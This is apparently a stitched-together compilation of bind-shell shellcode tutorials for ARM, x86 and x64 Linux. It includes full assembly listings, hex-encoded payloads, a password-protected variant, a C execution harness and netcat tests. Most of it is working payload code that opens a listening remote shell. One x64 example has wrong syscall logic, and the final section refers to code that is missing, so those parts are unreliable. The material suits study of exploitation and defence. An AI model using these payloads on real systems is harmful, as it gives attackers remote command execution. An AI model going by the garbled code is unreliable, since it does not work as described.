Then, we set r7 to 282 by simply adding 1 to it, because r7 already contains 281 from the 

last syscall. 



// bind(r0, &sockaddr, 16) 

    adr  r1, struct_addr   // pointer to address, port 

    strb r2, [r1, #1]     // write 0 for AF_INET 

    strb r2, [r1, #4]     // replace 1 with 0 in x.1.1.1 

    strb r2, [r1, #5]     // replace 1 with 0 in 0.x.1.1 

    strb r2, [r1, #6]     // replace 1 with 0 in 0.0.x.1 

    strb r2, [r1, #7]     // replace 1 with 0 in 0.0.0.x 

    mov r2, #16 

    add r7, #1            // r7 = 281+1 = 282 (bind syscall number)  

    svc #1 

    nop 

3 – Listen for Incoming Connections 

 

Here we put the previously saved host_sockid into r0. R1 is set to 2, and r7 is just 

increased by 2 since it still contains the 282 from the last syscall. 

mov     r0, r4     // r0 = saved host_sockid  

mov     r1, #2 

add     r7, #2     // r7 = 284 (listen syscall number) 



svc     #1 

4 – Accept Incoming Connection 

  

 

Here again, we put the saved host_sockid into r0. Since we want to avoid null bytes, we 

use don’t directly move #0 into r1 and r2, but instead, set them to 0 by subtracting them 

from each other. R7 is just increased by 1. The result of this invocation will be 

our client_sockid, which we will save in r4, because we will no longer need the 

host_sockid that was kept there (we will skip the close function call from our C code). 

    mov     r0, r4          // r0 = saved host_sockid  

    sub     r1, r1, r1      // clear r1, r1 = 0 

    sub     r2, r2, r2      // clear r2, r2 = 0 

    add     r7, #1          // r7 = 285 (accept syscall number) 

    svc     #1 

    mov     r4, r0          // save result (client_sockid) in r4 

5 – STDIN, STDOUT, STDERR 

  



 

For the dup2 functions, we need the syscall number 63. The saved client_sockid needs 

to be moved into r0 once again, and sub instruction sets r1 to 0. For the remaining two 

dup2 calls, we only need to change r1 and reset r0 to the client_sockid after each system 

call. 

    /* dup2(client_sockid, 0) */ 

    mov     r7, #63                // r7 = 63 (dup2 syscall number)  

    mov     r0, r4                 // r4 is the saved client_sockid  

    sub     r1, r1, r1             // r1 = 0 (stdin)  

    svc     #1 

    /* dup2(client_sockid, 1) */ 

    mov     r0, r4                 // r4 is the saved client_sockid  

    add     r1, #1                 // r1 = 1 (stdout)  

    svc     #1 

    /* dup2(client_sockid, 2) */ 

    mov     r0, r4                 // r4 is the saved client_sockid 

    add     r1, #1                 // r1 = 1+1 (stderr)  



    svc     #1 

6 – Spawn the Shell 

  

 

  

// execve("/bin/sh", 0, 0)  

 adr r0, shellcode     // r0 = location of "/bin/shX" 

 eor r1, r1, r1        // clear register r1. R1 = 0 

 eor r2, r2, r2        // clear register r2. r2 = 0 



 strb r2, [r0, #7]     // store null-byte for AF_INET 

 mov r7, #11           // execve syscall number 

 svc #1 

 nop 

The execve() function we use in this example follows the same process as in the Writing 

ARM Shellcode tutorial where everything is explained step by step. 

Finally, we put the value AF_INET (with 0xff, which will be replaced by a null), the port 

number, IP address, and the “/bin/sh” string at the end of our assembly code. 

struct_addr: 
.ascii "\x02\xff"      // AF_INET 0xff will be NULLed  
.ascii "\x11\x5c"     // port number 4444  
.byte 1,1,1,1        // IP Address  
shellcode: 
.ascii "/bin/shX" 

F I N A L  A S S E M B L Y  C O D E  

This is what our final bind shellcode looks like. 

.section .text 

.global _start 
    _start: 
    .ARM 
    add r3, pc, #1         // switch to thumb mode  
    bx r3 
 
    .THUMB 
// socket(2, 1, 0) 
    mov r0, #2 
    mov r1, #1 
    sub r2, r2, r2      // set r2 to null 
    mov r7, #200        // r7 = 281 (socket) 
    add r7, #81         // r7 value needs to be split  
    svc #1              // r0 = host_sockid value 
    mov r4, r0          // save host_sockid in r4 
 
// bind(r0, &sockaddr, 16) 
    adr  r1, struct_addr // pointer to address, port 
    strb r2, [r1, #1]    // write 0 for AF_INET 
    strb r2, [r1, #4]    // replace 1 with 0 in x.1.1.1 
    strb r2, [r1, #5]    // replace 1 with 0 in 0.x.1.1 
    strb r2, [r1, #6]    // replace 1 with 0 in 0.0.x.1 
    strb r2, [r1, #7]    // replace 1 with 0 in 0.0.0.x 
    mov r2, #16          // struct address length 
    add r7, #1           // r7 = 282 (bind)  
    svc #1 
    nop 

https://azeria-labs.com/writing-arm-shellcode/
https://azeria-labs.com/writing-arm-shellcode/


 
// listen(sockfd, 0)  
    mov r0, r4           // set r0 to saved host_sockid 
    mov r1, #2         
    add r7, #2           // r7 = 284 (listen syscall number)  
    svc #1         
 
// accept(sockfd, NULL, NULL);  
    mov r0, r4           // set r0 to saved host_sockid 
    sub r1, r1, r1       // set r1 to null 
    sub r2, r2, r2       // set r2 to null 
    add r7, #1           // r7 = 284+1 = 285 (accept syscall) 
    svc #1               // r0 = client_sockid value 
    mov r4, r0           // save new client_sockid value to r4   
 
// dup2(sockfd, 0)  
    mov r7, #63         // r7 = 63 (dup2 syscall number)  
    mov r0, r4          // r4 is the saved client_sockid  
    sub r1, r1, r1      // r1 = 0 (stdin)  
    svc #1 
 
// dup2(sockfd, 1) 
    mov r0, r4          // r4 is the saved client_sockid  
    add r1, #1          // r1 = 1 (stdout)  
    svc #1 
 
// dup2(sockfd, 2)  
    mov r0, r4          // r4 is the saved client_sockid 
    add r1, #1          // r1 = 2 (stderr)  
    svc #1 
 
// execve("/bin/sh", 0, 0)  
    adr r0, shellcode   // r0 = location of "/bin/shX" 
    eor r1, r1, r1      // clear register r1. R1 = 0 
    eor r2, r2, r2      // clear register r2. r2 = 0 
    strb r2, [r0, #7]   // store null-byte for AF_INET 
    mov r7, #11         // execve syscall number 
    svc #1 
    nop 
 
struct_addr: 
.ascii "\x02\xff" // AF_INET 0xff will be NULLed  
.ascii "\x11\x5c" // port number 4444  
.byte 1,1,1,1 // IP Address  
shellcode: 
.ascii "/bin/shX" 

T E S T I N G  S H E L L C O D E  

Save your assembly code into a file called bind_shell.s. Don’t forget the -N flag when using 

ld. The reason for this is that we use multiple the strb operations to modify our code section 

(.text). This requires the code section to be writable and can be achieved by adding the -N 

flag during the linking process. 

pi@raspberrypi:~/bindshell $ as bind_shell.s -o bind_shell.o && ld -N 
bind_shell.o -o bind_shell 



pi@raspberrypi:~/bindshell $ ./bind_shell 

Then, connect to your specified port: 

pi@raspberrypi:~ $ netcat -vv 0.0.0.0 4444 
Connection to 0.0.0.0 4444 port [tcp/*] succeeded! 
uname -a 
Linux raspberrypi 4.4.34+ #3 Thu Dec 1 14:44:23 IST 2016 armv6l GNU/Linux 

It works! Now let’s translate it into a hex string with the following command: 

pi@raspberrypi:~/bindshell $ objcopy -O binary bind_shell bind_shell.bin 
pi@raspberrypi:~/bindshell $ hexdump -v -e '"\\""x" 1/1 "%02x" ""' 
bind_shell.bin 
\x01\x30\x8f\xe2\x13\xff\x2f\xe1\x02\x20\x01\x21\x92\x1a\xc8\x27\x51\x37\x01\
xdf\x04\x1c\x12\xa1\x4a\x70\x0a\x71\x4a\x71\x8a\x71\xca\x71\x10\x22\x01\x37\x
01\xdf\xc0\x46\x20\x1c\x02\x21\x02\x37\x01\xdf\x20\x1c\x49\x1a\x92\x1a\x01\x3
7\x01\xdf\x04\x1c\x3f\x27\x20\x1c\x49\x1a\x01\xdf\x20\x1c\x01\x31\x01\xdf\x20
\x1c\x01\x31\x01\xdf\x05\xa0\x49\x40\x52\x40\xc2\x71\x0b\x27\x01\xdf\xc0\x46\
x02\xff\x11\x5c\x01\x01\x01\x01\x2f\x62\x69\x6e\x2f\x73\x68\x58 

Voilà, le bind shellcode! This shellcode is 112 bytes long. Since this is a beginner tutorial and 

to keep it simple, the shellcode is not as short as it could be. After making the initial shellcode 

work, you can try to find ways to reduce the amount of instructions, hence making the 

shellcode shorter. 

https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/ 

The following minimal C bind shell illustrates the pieces needed and gives a 

bit of an overview. 

#include <unistd.h> 

#include <sys/socket.h> 

#include <netinet/in.h> 

 

int main(void) { 

    int srvfd; 

    int clifd; 

https://azeria-labs.com/tcp-bind-shell-in-assembly-arm-32-bit/


    struct sockaddr_in srv; 

 

    srv.sin_family = AF_INET; 

    srv.sin_port = htons(4444); 

    srv.sin_addr.s_addr = htonl(INADDR_ANY); 

 

    srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 

    bind(srvfd, (struct sockaddr *) &srv, sizeof(srv)); 

    listen(srvfd, 0); 

    clifd = accept(srvfd, NULL, NULL); 

    dup2(clifd, 0); 

    dup2(clifd, 1); 

    dup2(clifd, 2); 

    execve("/bin/sh", NULL, NULL); 

} 

Since we aren’t using any library structures, we can disregard the 

initialization of the sockaddr_in  struct and jump straight to socket 

creation: 

srvfd = socket(AF_INET, SOCK_STREAM, IPPROTO_IP); 

Socket creation requires system calls. A nice resource to find system call 

numbers is kernelgrok.com. Searching 

for __"sock"__  or __"sck"__  returns a single syscall: 

https://syscalls.kernelgrok.com/


 

Consulting the manual pages man 2 socketcall  reveals 

that socketcall()  is used for all kinds of socket-related operations. Here 

is an excerpt from the man page: 

int socketcall(int call, unsigned long *args); 

 

socketcall() is a common kernel entry point for the socket 

system calls. Call determines which socket function to 

invoke. 

 

call              Man page 

SYS_SOCKET        socket(2) 

SYS_BIND          bind(2) 

SYS_CONNECT       connect(2) 

SYS_LISTEN        listen(2) 

SYS_ACCEPT        accept(2) 

SYS_GETSOCKNAME   getsockname(2) 

SYS_GETPEERNAME   getpeername(2) 

SYS_SOCKETPAIR    socketpair(2) 

SYS_SEND          send(2) 

SYS_RECV          recv(2) 

SYS_SENDTO        sendto(2) 



SYS_RECVFROM      recvfrom(2) 

SYS_SHUTDOWN      shutdown(2) 

SYS_SETSOCKOPT    setsockopt(2) 

SYS_GETSOCKOPT    getsockopt(2) 

SYS_SENDMSG       sendmsg(2) 

SYS_RECVMSG       recvmsg(2) 

SYS_ACCEPT4       accept4(2) 

SYS_RECVMMSG      recvmmsg(2) 

SYS_SENDMMSG      sendmmsg(2) 

Creating a Socket 
We need to determine the appropriate value 

for socketcalls() ’s call  argument. As can be seen from the code 

snippet below, SYS_SOCKET  is what we are looking for. Incidentally, the 

code below was sourced from net/socket.c  

SYSCALL_DEFINE2(socketcall, int, call, unsigned long __user 

*, args) 

{ 

    ... 

 switch (call) { 

 case SYS_SOCKET: 

  err = __sys_socket(a0, a1, a[2]); 

  break; 

 case SYS_BIND: 



  err = __sys_bind(a0, (struct sockaddr __user 

*)a1, a[2]); 

  break; 

 case SYS_CONNECT: 

  err = __sys_connect(a0, (struct sockaddr __user 

*)a1, a[2]); 

  break; 

 case SYS_LISTEN: 

    ... 

SYS_SOCKET  is a preprocessor constant and we need to find its actual 

value. We get it from the source tree of the kernel we are targeting (kernel 

version 5.4) in include/uapi/linux/net.h . 

#define SYS_SOCKET  1       /* sys_socket(2)        */ 

In a next step we consult the socket()  man page to determine what 

arguments we need to pass according to man 2 socket . 

int socket(int domain, int type, int protocol); 

At this point we have all that is needed to write the assembly code. This 

example uses TCP over IPv4 and the values for the other constants are as 

follows: AF_INET = 2 , SOCK_STREAM = 1 , IP_PROTO = 0 . 

mov     eax, 0x66           ;; socketcall syscall number 

mov     ebx, 0x01           ;; SYS_SOCKET call number for 

socket creation 

 

push    DWORD 0x00000000    ;; IP_PROTO 



push    DWORD 0x00000001    ;; SOCK_STREAM 

push    DWORD 0x00000002    ;; AF_INET 

 

mov     ecx, esp 

int     0x80 

 

mov     esi, eax            ;; copy socket fd because eax 

will be needed otherwise 

The syscall number for socketcall  ist placed into eax  and the call 

number for SYS_SOCKET  into ebx . socketcall()  expects a pointer to 

the arguments for the effectively executed kernel function determined by 

the call number. The arguments for socket()  are pushed to the stack in 

reverse order. Since socket()  expects arguments of type int , the values 

we push to the stack are 4 bytes wide. esp  holds the address of the top of 

the stack. The start of our argument array, which is the current top of the 

stack, is saved to ecx . Now that everything is prepared, the interrupt can 

be called. From the socket()  man page we know that the return value is 

the socket file descriptor. Return values are usually placed into eax . 

BIND THE SOCKET 

Next, the socket is bound to an address and port. 

bind(srvfd, (struct sockaddr *) &srv, sizeof(srv)); 

The bind()  call number for the socketcall  syscall is defined as 2  in 

the same file as socket() , along with all the other socketcall call numbers: 

#define SYS_SOCKET  1       /* sys_socket(2)        */ 

#define SYS_BIND    2       /* sys_bind(2)          */ 



#define SYS_CONNECT 3       /* sys_connect(2)       */ 

#define SYS_LISTEN  4       /* sys_listen(2)        */ 

#define SYS_ACCEPT  5       /* sys_accept(2)        */ 

... 

Note that the arguments need to be pushed in reverse order. The length of 

the struct needs to be pushed first. The man page for bind()  notes on 

the sockaddr  struct: 

The only purpose of this structure is to cast the structure pointer passed in 

addr in order to avoid compiler warnings 

bind()  can handle a variety of different socket types and expects the 

appropriate structure for the socket type it is given. For our socket this 

is sockaddr_in , which is defined as follows for our kernel 

in include/uapi/linux/in.h : 

/* Structure describing an Internet (IP) socket address. */ 

#if  __UAPI_DEF_SOCKADDR_IN 

#define __SOCK_SIZE__   16          /* sizeof(struct 

sockaddr)  */ 

struct sockaddr_in { 

  __kernel_sa_family_t  sin_family; /* Address family       

*/ 

  __be16        sin_port;           /* Port number          

*/ 

  struct in_addr    sin_addr;       /* Internet address     

*/ 

 

  /* Pad to size of `struct sockaddr'. */ 



  unsigned char     __pad[__SOCK_SIZE__ - sizeof(short int) 

- 

            sizeof(unsigned short int) - sizeof(struct 

in_addr)]; 

}; 

An analysis of the struct definition reveals its actual length to be 8 bytes (2 

shorts and 1 int) and an additional 8 bytes of padding. Our address family is 

AF_INET, which is defined 

in bits/socket.h  as 2 . __kernel_sa_family_t  is a typedef of an 

unsigned short, so for it we need to push a 2-byte value of 2  to the stack. 

The port number is also an unsigned short value where __be16  indicates 

that the value is expected in big endian byte order. The in_addr  struct 

only consists of an unsigned int in big endian ( __be32 ) to store an IPv4 

address. 

;; prepare sockaddr_in struct 

push    DWORD 0x00000000    ;; 4 bytes padding 

push    DWORD 0x00000000    ;; 4 bytes padding 

push    DWORD 0x00000000    ;; INADDR_ANY 

push    WORD 0xbeef         ;; port 61374 

push    WORD 0x0002         ;; AF_INET 

 

mov     ecx, esp            ;; save struct address 

 

;; arguments to bind() 

push    DWORD 0x00000010    ;; size of our sockaddr_in 

struct 



push    ecx                 ;; pointer to sockaddr_in 

struct 

push    esi                 ;; socket file descriptor 

 

mov     ecx, esp            ;; set ecx to bind() args to 

prep for socketcall syscall 

mov     eax, 0x66           ;; socketcall syscall number 

mov     ebx, 0x02           ;; SYS_BIND call number 

int     0x80 

As with the function arguments, the members of the struct are pushed to 

the stack in reverse order. We temporarily save the address to the struct 

in ecx , because the struct size for bind()  needs to be pushed first. This 

program is kept minimal and error handling for bind()  failures is omitted. 

LISTEN FOR AND ACCEPT INCOMING CONNECTIONS 
The next line in the C bind shell is listen(srvfd, 0); . listen()  marks 

the socket as a passive socket, which is a socket used to accept incoming 

requests. This is accomplished simply enough. 

mov     eax, 0x66 

mov     ebx, 0x04           ;; SYS_LISTEN call number 

push    0x00000000          ;; listen() backlog argument (4 

byte int) 

push    esi                 ;; socket fd 

mov     ecx, esp            ;; pointer to args for listen() 

int     0x80 



The next step is to accept an incoming connection: clifd =  

accept(srvfd, NULL, NULL); . The second and third arguments can be 

populated with a pointer to an appropriate sockaddr  struct and the sruct 

length. Upon succesful connection, the given struct is populated with 

information on the peer. In this minimal C bind shell we don’t care about 

knowing who our peer is, so NULL is passed for both of these arguments. 

This also simplifies the equivalent assembly code. 

mov     eax, 0x66 

mov     ebx, 0x05           ;; SYS_ACCEPT call number 

push    DWORD 0x00000000 

push    DWORD 0x00000000 

push    esi                 ;; socket fd 

int     0x80 

accept()  returns the file descriptor of the socket of the new connection 

in eax . 

CONNECT IO TO SOCKET AND START SHELL 
Now all that’s left to do is duplicate the file descriptor of the connection 

socket to the stdin, stdout and stderr of our current process and then 

replace the current process with sh . dup2()  is declared as follows: 

int dup2(int oldfd, int newfd); 

dup2  silently closes the file descriptor newfd  and reopens it as a copy 

of oldfd , so that they can be used interchangeably. 

 



mov     ebx, eax            ;; copy fd of the new 

connection socket to ebx for dup2() 

 

mov     eax, 0x3f           ;; syscall nunber goes into eax 

xor     ecx, ecx            ;; duplicate stdin 

int     0x80 

 

mov     eax, 0x3f 

inc     ecx                 ;; duplicate stdout 

int     0x80 

 

mov     eax, 0x3f 

inc     ecx                 ;; duplicate stderr 

int     0x80 

man 2 execve  shows execve() ’s declaration as: 

execve(const char *pathname, char *const argv[], char 

*const envp[]); 

As before, the system call number goes into eax  and the remaining 

arguments are, if present, written in order into ebx, ecx and edx. Note that 

the /bin/sh  string is zero-delimited. 

mov     eax, 0x0b           ;; execve syscall 

xor     ecx, ecx            ;; no arguments for /bin/sh 



xor     edx, edx            ;; no env variables 

push    DWORD 0x0068732f    ;; hs/ 

push    DWORD 0x6e69622f    ;; nib/ 

mov     ebx, esp            ;; start of /bin/sh string 

int     0x80 

CONCLUSION 

While the presented bind shell is simple and easy to understand, various 

possibilities for improvement remain, such as size optimisation or disposing 

of the socket after the shell exits. 

For reference, here is the entire program which can be built with nasm  

bindshell.asm -o bindshell.o -f elf32 && ld -m elf_i386  

bindshell.o -o bindshell . 

global _start 

 

section .text 

_start: 

    mov     eax, 0x66           ;; socketcall syscall 

number 

    mov     ebx, 0x01           ;; SYS_SOCKET call number 

for socket creation 

 

    push    DWORD 0x00000000    ;; IP_PROTO 

    push    DWORD 0x00000001    ;; SOCK_STREAM 



    push    DWORD 0x00000002    ;; AF_INET 

 

    mov     ecx, esp 

    int     0x80 

 

    mov     esi, eax            ;; copy socket fd because 

eax will be needed otherwise 

 

    ;; prepare sockaddr_in struct 

    push    DWORD 0x00000000    ;; 4 bytes padding 

    push    DWORD 0x00000000    ;; 4 bytes padding 

    push    DWORD 0x00000000    ;; INADDR_ANY 

    push    WORD 0xbeef         ;; port 61374 

    push    WORD 0x0002         ;; AF_INET 

 

    mov     ecx, esp            ;; save struct address 

 

    ;; arguments to bind() 

https://www.scip.ch/en/?labs.20200521 

https://mosunit.com/?p=482 

https://www.youtube.com/watch?v=_l7-P2M5d3Q&ab_channel=HackVlix 

https://badbit.vc/index.php/2020/08/22/writing-a-linux-bind-shell-in-asm-x86/ 

https://www.scip.ch/en/?labs.20200521
https://mosunit.com/?p=482
https://www.youtube.com/watch?v=_l7-P2M5d3Q&ab_channel=HackVlix
https://badbit.vc/index.php/2020/08/22/writing-a-linux-bind-shell-in-asm-x86/


A bind shell is a type of shell that listens for incoming network connections 

and provides a command prompt to remote clients. Here's how you can create 

a simple bind shell in assembly: 

1. Create a new file called bind_shell.asm and add the following code: 

section .text 

    global _start 

 

_start: 

    ; create socket 

    xor rax, rax 

    mov al, 2 

    xor rdi, rdi 

    xor rsi, rsi 

    mov sil, 1 

    xor rdx, rdx 

    syscall 

 

    ; bind socket 

    mov rdi, rax 

    xor rax, rax 

    mov al, 1 

    xor rsi, rsi 

    mov rdx, 16 

    lea rcx, [rip + port] 

    push rcx 



    xor rcx, rcx 

    mov cl, 2 

    syscall 

    add rsp, 8 

 

    ; listen for connections 

    xor rdi, rdi 

    mov al, 5 

    xor rsi, rsi 

    syscall 

 

    ; accept connection 

    mov rdi, rax 

    xor rax, rax 

    mov al, 1 

    xor rsi, rsi 

    xor rdx, rdx 

    syscall 

 

    ; duplicate file descriptors 

    xor rsi, rsi 

    mov sil, 2 

    xor rdx, rdx 

    syscall 



 

    ; execute shell 

    xor rax, rax 

    mov al, 59 

    lea rbx, [rip + sh] 

    mov rdi, rbx 

    xor rsi, rsi 

    xor rdx, rdx 

    syscall 

 

section .data 

    port db 0x11, 0x5c ; port 4444 

    sh db "/bin/sh", 0x00 

This code creates a socket, binds it to a port, listens for incoming connections, 

accepts a connection, duplicates the file descriptors, and executes a shell. 

2. Assemble the code with the following command: 

 

nasm -f macho64 bind_shell.asm -o bind_shell.o 

This command assembles the code and creates an object file called 

bind_shell.o. 

3. Link the object file with the following command: 

ld bind_shell.o -o bind_shell 

https://opentechtips.com/linux-bind-shell-x86/ 

https://opentechtips.com/linux-bind-shell-x86/


x64 SLAE — Assignment 1: Bind Shell 

The first assignment for the x64 SLAE exam involves creating 

shellcode that will create a bind shell with authentication when 

executed. Bind shells listen on a designated port for incoming 

connections with commands to execute. The difference with a 

typical bind shell and one created here is that this one requires 

authentication (i.e. a specific password to be received) before it 

can be used. The steps to create bind shell shellcode with 

authentication are as follows: 

1. Create socket 

2. Bind socket to a port 

3. Start listening for incoming connections 

4. Accept incoming connections 

5. Read and validate password 

6. Redirect STDIN, STDOUT, and STDERR 

7. Execute commands within the incoming connections 

Create socket 

Before anything else, a socket must be created. The underlying 

system call that creates a socket is sys_socket. To execute this 

system call we need to move the following arguments into their 

respective registers: 
sys_socket    rax -> system call number (41 or 0x29)    rdi -

> socket family (0x02)    rsi -> type of socket (0x01)    rdx 



-> protocol (0x00) 

For more information see the x64 Linux Syscall Reference page 

The assembly to setup and call this function is: 
socket: 

   ; rax -> 41 

   push 0x29 

   pop rax   ; rdi -> 2 

   push 0x02 

   pop rdi   ; rsi -> 1 

   push 0x01 

   pop rsi   ; rdx -> 0 

   xor edx, edx   ; execute system call 

   syscall 

Bind socket to a port 

Next, the socket needs to be bound to a given port. To do this, 

the sys_bind system call will be leveraged. These arguments are 

as follows: 
sys_bind   rax -> system call number (49 or 0x31)   rdi -> 

socket file descriptor (saved from socket syscall)   rsi -> 

struct sokaddr *umyaddr (indicating port 8080 is used)   rdx 

-> sokaddr length (16 or 0x10)For more information see the 

x64 Linux Syscall Reference page 

The assembly to setup and call this function is: 
bind: 

   ; rdi -> socket file descriptor 

   mov rdi, rax   ; rax -> 49 

   push 0x31 

   pop rax   ; creating sockaddr data structure 

   push rdx         ; pushing padding 

   push rdx         ; pushing INADDR_ANY (0) 

   push word 0x901f ; pushing PORT (8080) 

   push word 0x02   ; pushing AF_INET (2)   ; rsi -> address 

of sockaddr data structure 

   mov rsi, rsp   ; rdx -> 16 

   add rdx, 0x10   ; execute system call 

   syscall 

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/


Start listening for incoming connections 

Now that the socket has been bound to a port, a listener needs to 

be setup. The sys_listen system call will be leveraged. To execute 

this system call the following arguments need to be moved into 

their respective registers: 
sys_listen   rax -> system call number (50 or 0x32)   rdi -> 

socket file descriptor (saved from socket syscall)   rsi -> 

backlog (0 or 0x00)For more information see the x64 Linux 

Syscall Reference page 

The assembly to setup and call this function is: 
listen: 

   ; rax -> 50 

   push 0x32 

   pop rax   ; rdi -> already setup   ; rsi -> 0 

   xor rsi, rsi   ; execute system call 

   syscall 

Accept incoming connections 

With a socket listening for incoming connections the bind shell 

has to execute another function to accept them. sys_accept will 

be leveraged for this. To execute this system call we need to 

move the following arguments into their respective registers: 
sys_accept   rax -> system call number (43 or 0x2b)   rdi -> 

socket file descriptor (saved from socket syscall)   rsi -> 

struct sokaddr *umyaddr   rdx -> int *upeer_addrlen (saved 

from previous syscall)For more information see the x64 Linux 

Syscall Reference page 

The assembly to setup and call this function is: 
accept: 

   ; rax -> 43 

   push 0x2b 

   pop rax   ; rdi & rsi -> already setup   ; rdx -> 0 

   mov rdx, rsi   ; execute system call 

   syscall   ; save fd 

   mov r9, rax 

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/


Read and validate password 

In order to authenticate that the proper user is leveraging the 

bind shell, the password is first read with sys_read then the 

retrieved password is compared with a hardcoded password. If 

the retrieved password matches the hardcoded one, the user will 

be able to execute commands against the target host. 

The system call arguments to execute read are as follows: 
sys_read   rax -> system call number (0 or 0x00)   rdi -> int 

fd to read from (the socket file descriptor)   rsi -> pointer 

to store what is read (the stack)   rdx -> how many bytes to 

read (slightly larger than our password)For more information 

see the x64 Linux Syscall Reference page 

The full shellcode with the read and string compare is as follows: 
authenticate: 

   ; read 

   mov rax, rsi   ; rdi -> fd 

   mov rdi, r9   ; rsi -> allocated room on stack 

   sub rsp, 0x10 

   mov rsi, rsp   ; rdx -> bytes to read (8) 

   mov dl, 0x10   ; execute system call 

   syscall   ; compare   ; rax -> hardcoded password 

("1234567\n") 

   mov rax, 0x0a37363534333231   ; rdi -> supplied password 

   mov rdi, rsi   ; compare rax and rdi 

   scasq   ; if not match then jump to finished 

   jne finish 

Redirect STDIN, STDOUT, and STDERR 

Having successfully set the bind shell to accept incoming 

connections, STDIN/OUT/ERR need to be redirected to the 

bind shell so the receiver can interpret the results of their 

command. The dup2 system call must be leveraged. To execute 

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/


this system call we need to move the following arguments into 

their respective registers: 
sys_dup2   rax -> system call number (33 or 0x21)   rdi -> 

old file descriptor   rsi -> new file descriptorFor more 

information see the x64 Linux Syscall Reference page 

The assembly to setup and call this function is: 
file_descriptors:   ; rsi -> 2 

   push 0x02 

   pop rsi   ; rdi -> file descriptor 

   mov rdi, r9   loop: 

     ; rax -> 33 

     push 0x21 

     pop rax     ; execute system call 

     syscall     ; decrement file descriptor 

     dec rsi     ; repeat 

     jns loop 

Execute commands within the incoming connections 

Last but not least, we need to take the incoming commands that 

we receive and execute them. This is performed with the execve 

system call. To execute this system call we need to move the 

following arguments into their respective registers: 
sys_execve   rax -> system call number (59 or 0x3b)   rdi -> 

const char *filename ("//bin/sh")   rsi ->  const char *const 

argv[]("//bin/sh", "//bin/sh", 0)   rdx -> const char *const 

envp[] (0 or 0x00)For more information see the x64 Linux 

Syscall Reference page 

The assembly to setup and call this function is: 
execute:   ; move null (0) to stack 

   xor rdx, rdx 

   push rdx   ; rbx -> '//bin/sh'[::-1].encode('Hex') 

   mov rbx, 0x68732f6e69622f2f   ; moving RBX to the stack 

   push rbx   ; rdi -> address of '//bin/sh'[::-

1].encode('Hex') 

   mov rdi, rsp   ; move null (0) to stack 

   push rdx   ; rsi -> address of argv struct 

   push rdi 

   mov rsi, rsp   ; rax -> 59 

https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/
https://blog.rchapman.org/posts/Linux_System_Call_Table_for_x86_64/


   push 0x3b 

   pop rax   ; execute system call 

   syscall 

Results 

Compile the shellcode with the following commands: 
nasm -f elf64 bind.nasmld bind.o -o bind for i in $(objdump -

D bind | grep "^ "|cut -f2); do echo -n '\\x'$i; done; echo 

And it will output the following shellcode: 
"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x48\x89

\xc7\x6a\x31\x58\x52\x52\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\

xe6\x48\x83\xc2\x10\x0f\x05\x6a\x32\x58\x48\x31\xf6\x0f\x05\x

6a\x2b\x58\x48\x89\xf2\x0f\x05\x49\x89\xc1\x48\x89\xf0\x4c\x8

9\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31

\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\

x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x

48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x4

8\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58

\x0f\x05" 

Place the above shellcode in a C harness like so: 
#include <stdio.h> 

#include <string.h>unsigned char code[] = \ 

"\x6a\x29\x58\x6a\x02\x5f\x6a\x01\x5e\x31\xd2\x0f\x05\x48\x89

\xc7\x6a\x31\x58\x52\x52\x66\x68\x1f\x90\x66\x6a\x02\x48\x89\

xe6\x48\x83\xc2\x10\x0f\x05\x6a\x32\x58\x48\x31\xf6\x0f\x05\x

6a\x2b\x58\x48\x89\xf2\x0f\x05\x49\x89\xc1\x48\x89\xf0\x4c\x8

9\xcf\x48\x83\xec\x10\x48\x89\xe6\xb2\x10\x0f\x05\x48\xb8\x31

\x32\x33\x34\x35\x36\x37\x0a\x48\x89\xf7\x48\xaf\x75\x2c\x6a\

x02\x5e\x4c\x89\xcf\x6a\x21\x58\x0f\x05\x48\xff\xce\x79\xf6\x

48\x31\xd2\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x4

8\x89\xe7\x52\x57\x48\x89\xe6\x6a\x3b\x58\x0f\x05\x6a\x3c\x58

\x0f\x05";int main() 

{ 

   int (*ret)() = (int(*)()) code; 

   ret(); 

   return 0; 

} 

Compile it: 
gcc -fno-stack-protector -z execstack -o harness harness.c 



Execute the harness, use netcat to access it (nc 127.0.0.1 8080), 

and provide the password “1234567” to receive the shell: 

 

https://medium.com/@bytesoverbombs/x64-slae-assignment-1-bind-shell-

b48079637789 

Eliminating RIP Relative Addressing 
 

RIP-relative addressing is a common technique used in x86 assembly to access data and 

instructions located in memory. It is a type of addressing mode that allows you to access data 

and instructions relative to the current instruction pointer (RIP). 

However, in certain situations, it may be desirable to eliminate the use of RIP-relative 

addressing. One reason for doing so is to make it more difficult for attackers to exploit certain 

types of vulnerabilities, such as buffer overflows. 

Here's an example of how to eliminate RIP-relative addressing in x86 assembly: 

 

https://medium.com/@bytesoverbombs/x64-slae-assignment-1-bind-shell-b48079637789
https://medium.com/@bytesoverbombs/x64-slae-assignment-1-bind-shell-b48079637789


In this code, the lea instruction uses RIP-relative addressing to access the address of the 

my_string data. To eliminate RIP-relative addressing, you can use the mov instruction instead. 

The mov instruction can be used to load a 64-bit immediate value into a register. 

Here's the modified code that eliminates RIP-relative addressing: 

 

In this modified code, the mov instruction is used to load the address of my_string into the rsi 

register, instead of using RIP-relative addressing. 

